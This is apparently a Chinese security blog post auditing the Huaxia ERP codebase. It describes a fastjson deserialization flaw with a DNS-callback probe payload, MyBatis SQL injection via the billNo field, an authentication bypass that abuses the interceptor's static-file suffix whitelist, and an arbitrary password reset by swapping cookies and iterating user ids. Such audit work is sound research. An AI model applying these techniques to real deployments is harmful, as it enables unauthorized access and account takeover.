华夏erp代码审计

UWI Lv3

fastjson 漏洞

getMaterialEnableSerialNumberList接口处发现search参数可控 存在fastjson漏洞

image-20250807123043473

payload

1
{"@type": "java.net.Inet4Address","val": "umu9h1.dnslog.cn"}

image-20250807123213291

成功

image-20250807123406284

sql注入

在mybatis的xml里面发现$参数拼接

image-20250807141023724

查看整个调用链

实现方法的接口是selectByConditionAccountHead 这个 函数

image-20250807141110227

selectByConditionAccountHead 在select的方法中被调用

image-20250807141148092

select在getAccountHeadList 中被调用

image-20250807141215263

getAccountHeadList 在另一个select函数中被调用

image-20250807141249642

这个select 又在另一个select函数中被调用

image-20250807141326592

最终这个select 在接口中被调用

image-20250807141432349

以billNo为例发现确实存在sql注入

image-20250807141937101

image-20250807141953903

其他sql注入功能的类似不再一一审查

拦截器绕过

这里我们添加用户是不成功的因为没有登录

image-20250807144542420

其实就是被他的拦截器拦截了

但我们仔细看他的拦截器 会发现设置了白名单 .css#.js#.jpg#.png#.gif#.ico 这些资源会方行不拦截

image-20250807144647085

可以看看到成功绕过拦截器 添加成功 由此我们可以用此方法绕过所有需要登录的权限接口

image-20250807144808626

可以看到我们可以再未登录的情况下请求到资源

image-20250807145414701

还有几种绕过方式

image-20250807151553486

image-20250807151622134

任意用户密码重置

用管理员账号 重置密码

image-20250807153010465

抓包

然后我们把cookie换成普通用户的cookie

发现还是能成功 只需要遍历id 就可以任意用户密码重置

image-20250807153355145

或者我们结合前面的拦截器绕过 也可以

image-20250807153554220

  • Title: 华夏erp代码审计
  • Author: UWI
  • Created at : 2025-08-07 11:13:25
  • Updated at : 2025-08-13 14:42:27
  • Link: https://nbwsws.github.io/2025/08/07/代码审计/华夏erp代码审计/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments